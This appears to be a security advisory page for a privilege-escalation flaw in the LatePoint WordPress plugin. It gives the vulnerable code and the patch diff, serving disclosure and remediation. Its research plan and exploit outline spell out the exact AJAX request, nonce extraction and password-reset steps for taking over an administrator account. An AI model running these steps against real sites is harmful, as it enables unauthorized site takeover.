CVE-2026-6741

LatePoint <= 5.4.1 - Authenticated (Agent+) Privilege Escalation to Administrator via 'connect-customer-to-wp-user' Ability

highImproper Privilege Management
8.8
CVSS Score
8.8
CVSS Score
high
Severity
5.4.2
Patched in
1d
Time to patch

Description

The LatePoint – Calendar Booking Plugin for Appointments and Events plugin for WordPress is vulnerable to Privilege Escalation in versions up to and including 5.4.1. This is due to a missing authorization check in the execute() method of the connect-customer-to-wp-user ability, which only requires the customer__edit capability granted to the latepoint_agent role by default, without verifying whether the target WordPress user ID belongs to a privileged account. This makes it possible for authenticated attackers with the latepoint_agent role to link any LatePoint customer record to an administrator's WordPress account and subsequently reset the administrator's password via the normal customer password-reset flow, resulting in full site takeover.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=5.4.1
PublishedApril 27, 2026
Last updatedApril 27, 2026
Affected pluginlatepoint

What Changed in the Fix

Changes introduced in v5.4.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6741 - LatePoint Privilege Escalation ## 1. Vulnerability Summary The **LatePoint** plugin (<= 5.4.1) contains an improper privilege management vulnerability in its "Ability" system. Specifically, the `latepoint/connect-customer-to-wp-user` ability allows user…

Show full research plan

Exploitation Research Plan: CVE-2026-6741 - LatePoint Privilege Escalation

1. Vulnerability Summary

The LatePoint plugin (<= 5.4.1) contains an improper privilege management vulnerability in its "Ability" system. Specifically, the latepoint/connect-customer-to-wp-user ability allows users with the customer__edit capability (assigned to the latepoint_agent role by default) to link any LatePoint customer record to an arbitrary WordPress user ID.

The LatePointAbilityConnectCustomerToWpUser::execute() method in lib/abilities/customers/connect-customer-to-wp-user.php lacks a check to prevent linking to high-privileged WordPress users (like administrators). Once linked, an attacker can use the LatePoint customer password reset flow to change the password of the linked WordPress administrator account, leading to full site takeover.

2. Attack Vector Analysis

  • Endpoint: WordPress AJAX endpoint /wp-admin/admin-ajax.php.
  • Action: latepoint_route_call (The standard router for LatePoint abilities).
  • Vulnerable Ability: latepoint/connect-customer-to-wp-user.
  • Authentication Required: Authenticated user with latepoint_agent role (or higher).
  • Payload Parameters:
    • route_name: latepoint/connect-customer-to-wp-user (Internal route for abilities).
    • customer_id: ID of the LatePoint customer record to modify.
    • wp_user_id: ID of the WordPress administrator (usually 1).
  • Nonce: Required. Typically localized in the latepoint_helper JS object as nonce.

3. Code Flow

  1. Entry Point: The attacker sends a POST request to admin-ajax.php with action=latepoint_route_call.
  2. Routing: LatePoint's AJAX router identifies the requested ability: latepoint/connect-customer-to-wp-user.
  3. Authorization: The ability class LatePointAbilityConnectCustomerToWpUser (in lib/abilities/customers/connect-customer-to-wp-user.php) defines:
    protected function configure(): void {
        $this->permission = 'customer__edit'; // Default for agents
    }
    
    The system verifies the current user has customer__edit.
  4. Execution: The execute() method is called with args containing customer_id and wp_user_id:
    public function execute( array $args ) {
        $customer = new OsCustomerModel( (int) $args['customer_id'] );
        // ... (check if exists)
        $wp_user_id = (int) $args['wp_user_id'];
        // ... (check if WP user exists)
        $customer->wordpress_user_id = $wp_user_id; // SINK: No check on $wp_user_id roles
        $customer->save();
        // ...
    }
    
  5. Privilege Escalation: The LatePoint customer record is now tied to the WP Admin. Password reset requests for that customer email will now update the credentials of the WP Admin account.

4. Nonce Acquisition Strategy

LatePoint localizes its nonces and helper data in the WordPress admin dashboard for logged-in users (Agents/Admins).

  1. Identify Trigger: The latepoint_agent user can access the LatePoint backend at wp-admin/admin.php?page=latepoint.
  2. Navigation: Use browser_navigate to the LatePoint dashboard as the Agent user.
  3. Extraction: Use browser_eval to extract the nonce from the latepoint_helper object.
    • JS Variable: latepoint_helper.nonce
  4. Verification: The script is usually enqueued on all LatePoint admin pages.

5. Exploitation Strategy

Step 1: Link Customer to Admin

Request:

  • Tool: http_request
  • Method: POST
  • URL: {{base_url}}/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=latepoint_route_call
    &route_name=latepoint/connect-customer-to-wp-user
    &_wpnonce={{extracted_nonce}}
    &customer_id={{target_customer_id}}
    &wp_user_id=1
    

Step 2: Password Reset (Conceptual)

Once linked, the attacker triggers a password reset via the LatePoint customer login form (typically at a frontend page containing the [latepoint_customer_login] shortcode or the default booking flow). Resetting the password for the customer's email will update the password for WP User ID 1.

6. Test Data Setup

  1. WordPress Admin: Ensure a user with ID 1 exists (default).
  2. LatePoint Agent:
    • wp user create attacker attacker@example.com --role=latepoint_agent --user_pass=password
  3. LatePoint Customer:
    • LatePoint customers are stored in wp_latepoint_customers. Ensure at least one customer exists.
    • wp eval "oc = new OsCustomerModel(); oc->set_data(['first_name' => 'Victim', 'last_name' => 'Customer', 'email' => 'victim@example.com']); oc->save(); echo oc->id;" (Capture this ID).
  4. Plugin Settings: Ensure LatePoint is activated.

7. Expected Results

  • HTTP Response: The latepoint_route_call should return a JSON object containing the serialized customer data, where wordpress_user_id is now 1.
    • Example: {"status": "success", "customer": { "id": "X", "wordpress_user_id": "1", ... }}
  • Database Change: The wordpress_user_id column in the wp_latepoint_customers table for the target customer row should be updated to 1.

8. Verification Steps

  1. Check Meta via WP-CLI:
    wp db query "SELECT wordpress_user_id FROM wp_latepoint_customers WHERE id = {{target_customer_id}};"
    
  2. Verify Linking: Verify that the output of the query is 1.
  3. Role Check (Post-Reset): If the password reset is performed, verify the attacker can log in as the user with ID 1 using the new password.

9. Alternative Approaches

If latepoint_route_call requires a different nonce or the routing is blocked:

  • Direct Controller Call: Check if OsCustomersController has a direct action that wraps this ability.
  • In-Place Update: Check if OsCustomersController::update allows passing wordpress_user_id directly in the params['customer'] array, which might be handled by the same underlying model without validation.
  • Frontend Booking: If the Agent can "edit" a customer during a manual booking, check if the wp_user_id field can be injected into the update request during that flow.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LatePoint plugin for WordPress (<= 5.4.1) lacks proper authorization checks when linking LatePoint customer records to WordPress user accounts. Authenticated attackers with the 'latepoint_agent' role can exploit this to associate a customer record they control with a high-privileged WordPress user ID (such as an administrator), allowing them to reset the administrator's password through the LatePoint customer password-reset flow and gain full site control.

Vulnerable Code

// lib/abilities/customers/connect-customer-to-wp-user.php

	public function execute( array $args ) {
		$customer = new OsCustomerModel( (int) $args['customer_id'] );
		if ( $customer->is_new_record() ) {
			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
		}

		$wp_user_id = (int) $args['wp_user_id'];
		if ( ! get_userdata( $wp_user_id ) ) {
			return new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] );
		}

		$customer->wordpress_user_id = $wp_user_id;
		if ( ! $customer->save() ) {
			return new WP_Error(
				'save_failed',
				__( 'Failed to link customer to WordPress user.', 'latepoint' ),
				WP_DEBUG ? [ 'errors' => $customer->get_error_messages() ] : [ 'status' => 422 ]
			);
		}

		return $this->serialize_customer( new OsCustomerModel( $customer->id ) );
	}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.4.1/lib/abilities/customers/connect-customer-to-wp-user.php /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.4.2/lib/abilities/customers/connect-customer-to-wp-user.php
--- /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.4.1/lib/abilities/customers/connect-customer-to-wp-user.php	2026-03-10 07:15:14.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/latepoint/5.4.2/lib/abilities/customers/connect-customer-to-wp-user.php	2026-04-24 06:27:36.000000000 +0000
@@ -42,11 +42,23 @@
 			return new WP_Error( 'not_found', __( 'Customer not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
 
-		$wp_user_id = (int) $args['wp_user_id'];
-		if ( ! get_userdata( $wp_user_id ) ) {
+		$wp_user_id  = (int) $args['wp_user_id'];
+		$target_user = get_userdata( $wp_user_id );
+		if ( ! $target_user ) {
 			return new WP_Error( 'wp_user_not_found', __( 'WordPress user not found.', 'latepoint' ), [ 'status' => 404 ] );
 		}
 
+		// Only allow linking to non-privileged WP accounts using an allowlist of roles.
+		$allowed_roles = [ LATEPOINT_WP_CUSTOMER_ROLE, 'subscriber', 'customer' ];
+		$user_roles    = (array) $target_user->roles;
+		if ( empty( $user_roles ) || ! empty( array_diff( $user_roles, $allowed_roles ) ) ) {
+			return new WP_Error(
+				'privileged_user',
+				__( 'Cannot link a customer to a privileged WordPress account.', 'latepoint' ),
+				[ 'status' => 403 ]
+			);
+		}
+
 		$customer->wordpress_user_id = $wp_user_id;
 		if ( ! $customer->save() ) {
 			return new WP_Error(

Exploit Outline

1. Access the WordPress admin dashboard with a user account assigned the 'latepoint_agent' role. 2. Obtain the required LatePoint nonce from the localized JavaScript variable 'latepoint_helper.nonce'. 3. Identify the WordPress user ID of the target administrator (typically 1) and the LatePoint internal ID of a customer record (which the attacker can create or find). 4. Send a POST request to '/wp-admin/admin-ajax.php' with 'action=latepoint_route_call', 'route_name=latepoint/connect-customer-to-wp-user', 'customer_id=[TARGET_CUSTOMER]', and 'wp_user_id=[ADMIN_ID]'. 5. Once the customer record is linked to the administrator, navigate to the LatePoint customer login page or frontend booking flow and initiate the 'forgot password' process for the email address associated with the attacker-controlled customer record. 6. Reset the password via the link received. Due to the link established in step 4, this process updates the password for the WordPress administrator account, enabling a full site takeover.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.